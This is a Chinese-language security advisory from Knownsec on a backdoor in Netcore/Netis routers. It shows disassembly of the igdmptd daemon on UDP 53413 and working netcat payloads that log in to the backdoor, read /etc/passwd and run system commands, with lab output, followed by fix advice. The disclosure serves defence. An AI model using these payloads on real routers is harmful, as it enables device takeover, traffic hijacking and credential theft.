密级	公开

Netcore/Netis 路由器后门应急概要

[第一版 2014/12/31]

知道创宇安全研究团队

1. 更新情况

版本	时间	描述
第一版	2014/12/31	第一版完成。

2. 漏洞概要

2014 年 8 月末，趋势科技在官网表示，由中国生产的一系列路由器（国内品牌名称为 Netcore，国外品牌名称为 Netis）含有一个严重的漏洞。攻击者可以通过此漏洞获取路由器权限。

2014 年 12 月 28 日，微博上爆料 Netcore 的后门仍然存在（文章地址：http://www.weibo.com/p/1001603792736686871336）。

2.1. 漏洞描述

Netcore 系列路由器在/bin 目录下存在一个名为 igdmptd 的程序，此程序会监听 UDP 端口 53413 端口：

```
.text:00402560                nop
.text:00402564                la      $t9, create_server
.text:00402568                nop
.text:0040256C                jalr    $t9 ; create_server
.text:00402570                nop
.text:00402574                lw      $gp, 0x30+var_18($sp)
.text:00402578                move    $s1, $v0
.text:0040257C                lw      $a0, (stderr - 0x44BBD0)($s0)  # stream
.text:00402580                la      $a1, 0x410000
.text:00402584                nop
.text:00402588                addiu   $a1, (aS - 0x410000)  # "%s\r\n"
.text:0040258C                la      $a2, 0x410000
.text:00402590                nop
.text:00402594                addiu   $a2, (aIgdMptInterfac - 0x410000)  # "IGD MPT Interface daemon 1.0"
.text:00402598                la      $t9, fprintf
.text:0040259C                nop
.text:004025A0                jalr    $t9 ; fprintf
.text:004025A4                move    $s2, $t9
.text:004025A8                lw      $gp, 0x30+var_18($sp)
.text:004025AC                nop
.text:004025B0                la      $t9, operate_loop
.text:004025B4                nop
.text:004025B8                jalr    $t9 ; operate_loop
.text:004025BC                move    $a0, $s1
.text:004025C0                lw      $gp, 0x30+var_18($sp)
.text:004025C4                nop
```

之后调用 operate_loop 进入事件循环，来接受连接并处理。通过连接 53413 端口，可以通过特定格式的报文来获取路由器上的文件信息，上传文件，甚至是执行系统命令。

```
.text:0040220C                nop
.text:00402210                sw      $v0, 0xC18+addr($sp)
.text:00402214                lw      $a1, 0xC18+var_620($sp)
.text:00402218                lw      $a2, 0xC18+var_61C($sp)
.text:0040221C                lw      $a3, 0xC18+var_618($sp)
.text:00402220                la      $t9, do_syscmd
.text:00402224                nop
.text:00402228                jalr    $t9 ; do_syscmd
```

```
.text:00402294                nop
.text:00402298                sw      $v0, 0xC18+addr($sp)
.text:0040229C                lw      $a1, 0xC18+var_620($sp)
.text:004022A0                lw      $a2, 0xC18+var_61C($sp)
.text:004022A4                lw      $a3, 0xC18+var_618($sp)
.text:004022A8                la      $t9, do_getfile
.text:004022AC                nop
.text:004022B0                jalr    $t9 ; do_getfile
```

```
.text:0040231C                 nop
.text:00402320                 sw      $v0, 0xC18+addr($sp)
.text:00402324                 lw      $a1, 0xC18+var_620($sp)
.text:00402328                 lw      $a2, 0xC18+var_61C($sp)
.text:0040232C                 lw      $a3, 0xC18+var_618($sp)
.text:00402330                 la      $t9, do_putfile
.text:00402334                 nop
.text:00402338                 jalr    $t9 ; do_putfile
```

2.2. 漏洞影响

由于此端口暴露在公网，且此端口可以直接获得路由器的最高权限，所以危害极大。会造成 DNS 劫持、中间人攻击以及上网宽带的帐号密码泄漏等一系列影响。

2.3. 漏洞验证

在 Ubuntu 系统上配置 qemu-mipsel-static，运行从固件提取出的后门程序 igdmptd，发现已经监听在 udp 端口 53413 上，且监听 ip 地址为 0.0.0.0。

```
root@ubuntu:/# netstat -an | grep 53413
root@ubuntu:/# ps -ef | grep igdmptd
root     16495 13617  0 14:15 pts/3    00:00:00 grep --color=auto igdmptd
root@ubuntu:/# ./igdmptd
Create daemon...
Create server...
root@ubuntu:/# IGD MPT Interface daemon 1.0

root@ubuntu:/# netstat -an | grep 53413
udp        0      0 0.0.0.0:53413           0.0.0.0:*
root@ubuntu:/# ps -ef | grep igdmptd
root     16497     1  2 14:15 ?        00:00:00 /usr/bin/qemu-mipsel-static ./igdmptd
root     16501 13617  0 14:15 pts/3    00:00:00 grep --color=auto igdmptd
root@ubuntu:/#
```

1) 利用如下 payload，我们可以激活后门的登录状态：

```
python -c "print 'A'*8 + 'netcore\x00'" | nc -u -vv 10.211.55.10 53413
```

```
➜~ python -c "print 'A'*8 + 'netcore\x00'" | nc -u -vv 10.211.55.10 53413
found 0 associations
found 1 connections:
     1: flags=82<CONNECTED,PREFERRED>
        outif (null)
        src 10.211.55.2 port 62447
        dst 10.211.55.10 port 53413
        rank info not available

Connection to 10.211.55.10 port 53413 [udp/*] succeeded!
XXLogin:AAABAALogin successed!
```

2) 利用如下 payload，读取系统文件：

```
python -c "print 'AA\x00\x01AAAA/etc/passwd\x00'" | nc -u -vv 10.211.55.10 53413
```

```
~ python -c "print 'AA\x00\x01AAAA/etc/passwd\x00'" | nc -u -vv 10.211.55.10 53413
found 0 associations
found 1 connections:
     1: flags=82<CONNECTED,PREFERRED>
        outif (null)
        src 10.211.55.2 port 51585
        dst 10.211.55.10 port 53413
        rank info not available

Connection to 10.211.55.10 port 53413 [udp/*] succeeded!
XAAroot:x:0:0:root:/root:/usr/local/bin/fish
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
```

3) 利用如下 payload，执行系统命令：

```
python -c "print 'AA\x00\x00AAAA ls\x00'" | nc -u -vv 10.211.55.10 53413
```

```
~ python -c "print 'AA\x00\x00AAAA ls\x00'" | nc -u -vv 10.211.55.10 53413
found 0 associations
found 1 connections:
     1: flags=82<CONNECTED,PREFERRED>
        outif (null)
        src 10.211.55.2 port 60865
        dst 10.211.55.10 port 53413
        rank info not available

Connection to 10.211.55.10 port 53413 [udp/*] succeeded!
XXXXAAABAAbin
boot
cdrom
dev
etc
home
igdmptd
initrd.img
```

3. 修复建议

升级官方的最新版本固件，如果仍然存在，建议更换路由器。

4. 相关资源链接

1. 知道创宇官网：http://www.knownsec.com/
2. 知道创宇旗下 - ZoomEye 官网：http://www.zoomeye.org/
3. 知道创宇旗下 - 加速乐云防御平台官网：http://www.jiasule.com/